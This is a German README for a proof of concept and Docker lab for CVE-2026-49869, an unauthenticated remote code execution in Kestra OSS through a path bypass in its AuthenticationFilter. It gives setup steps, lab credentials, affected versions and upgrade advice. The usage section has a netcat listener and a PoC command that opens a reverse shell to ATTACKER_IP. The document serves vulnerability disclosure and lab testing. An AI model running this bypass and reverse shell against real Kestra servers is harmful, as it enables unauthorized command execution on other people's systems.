
PoC und Docker-Lab für CVE-2026-49869, eine unauthentifizierte RCE in Kestra OSS über einen AuthenticationFilter-Pfad-Bypass, der die Erstellung von Flows und die Ausführung von Befehlen ermöglicht.
★PoC und Docker-Lab für die Authentifizierungsumgehung im Kestra OSS AuthenticationFilter★
Führen Sie dieses Lab nur auf Systemen aus, die Sie kontrollieren. Das Beispiel
-p 8080:8080kann die verwundbare API auf allen Host-Schnittstellen veröffentlichen; blockieren Sie den Zugriff aus anderen Netzwerken.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra verwendet Basic Auth, um seine API zu schützen. In betroffenen OSS-Versionen behandelt AuthenticationFilter jeden Anforderungspfad, der auf /configs endet, als öffentlichen Konfigurationsendpunkt. Ein nicht authentifizierter Client kann daher einen Flow namens configs erstellen und ihn dann über API-Pfade ausführen, die beide auf /configs enden. Eine Shell-Task in diesem Flow kann Befehle im Kestra-Worker-Container ausführen. Der Defekt und die RCE-Kette werden im Kestra-Sicherheitshinweis beschrieben.
| Kestra OSS-Branch | Verwundbare Versionen | Erste gepatchte Version |
|---|---|---|
| 1.0.x und früher | Vor 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 bis 1.3.20 | 1.3.21 |
Das Lab verwendet v1.3.20 mit aktivierter OSS Basic Auth. Das Problem betrifft diesen Authentifizierungspfad, wenn die Kestra-API erreichbar ist; das lokale Image basiert auf kestra/kestra:v1.3.20.
/configs endet; der Hinweis beschreibt auch SSRF über ein Workflow-Template.Container-Rechte implizieren keine Host-Rechte.
Das Repository sollte Dockerfile, entrypoint.sh und poc.py neben dieser README enthalten. Docker ist erforderlich, um das Ziel auszuführen; Python 3 ist für den PoC erforderlich. Es müssen keine Python-Pakete installiert werden.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh aktiviert Basic Auth mit einem nur für das Lab bestimmten Konto:
| Benutzername | Passwort |
|---|---|
[email protected] | Eqst123! |
Kestra erfordert einen Benutzernamen in E-Mail-Form und ein Passwort mit mindestens acht Zeichen, Groß- und Kleinbuchstaben sowie einer Ziffer. Diese Anmeldedaten werden nur für lokale Tests veröffentlicht.
Warten Sie, bis die erste Anforderung 200 zurückgibt. Die zweite Anforderung sollte 401 zurückgeben, was zeigt, dass Basic Auth einen gewöhnlichen API-Pfad schützt:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
Wenn ein gestoppter Container bereits denselben Namen hat, verwenden Sie docker start cve-2026-49869-lab, um ihn wiederzuverwenden, oder entfernen Sie diesen Container, bevor Sie mit docker run einen neuen erstellen.
Das Skript sendet zwei Anforderungen ohne Anmeldedaten: Eine erstellt oder aktualisiert configs/configs mit einer Shell-Task, und die nächste startet deren Ausführung. Es ist kein vorhandener benutzererstellter Flow erforderlich. Ein erneutes Ausführen des Skripts ersetzt den Lab-Flow mit demselben Namen.
Starten Sie zunächst einen Listener auf dem Rechner, der die Shell-Verbindung empfängt:
nc -lvnp LISTENER_PORT
Führen Sie dann den PoC aus dem Verzeichnis aus, das poc.py enthält:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
Für ein Docker-Lab auf demselben Rechner ersetzen Sie TARGET durch 127.0.0.1. Setzen Sie ATTACKER_IP auf eine IPv4-Adresse, die der Container erreichen kann; das Skript startet den Listener nicht. Das Skript gibt die Ausführungsantwort aus, einschließlich einer Ausführungs-ID. Eine Verbindung am Listener ist erforderlich, um zu bestätigen, dass die Reverse Shell selbst funktioniert hat.
Der aufgezeichnete lokale Test verwendete eine harmlose Log-Task, um die Authentifizierungsumgehung und die Workflow-Ausführung zu überprüfen. Er führte die Reverse-Shell-Payload nicht aus.
| Prüfung | v1.3.20 | v1.3.21 |
|---|---|---|
| Gewöhnliche geschützte API, ohne Anmeldedaten | 401 | 401 |
configs-Flow erstellen, ohne Anmeldedaten | 200 | 401 |
configs-Ausführung starten, ohne Anmeldedaten | 200 | 401 |
| Harmlose Task auf verwundbarer Version | SUCCESS, Marker in Logs | — |
Der Reverse-Shell-Callback ist nicht Teil dieser aufgezeichneten Ergebnisse.
Aktualisieren Sie mindestens auf 1.0.45 im 1.0.x-Branch oder 1.3.21 in den Branches 1.1.x–1.3.x. Der Upstream-Fix normalisiert den Pfad und prüft die exakte öffentliche Konfigurationsroute, anstatt jedes /configs-Suffix zu akzeptieren. Bis das Upgrade abgeschlossen ist, beschränken Sie den Zugriff auf die Kestra-API und erlauben Sie nicht authentifizierten Zugriff nur auf die beabsichtigte öffentliche Route an einem Proxy.
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab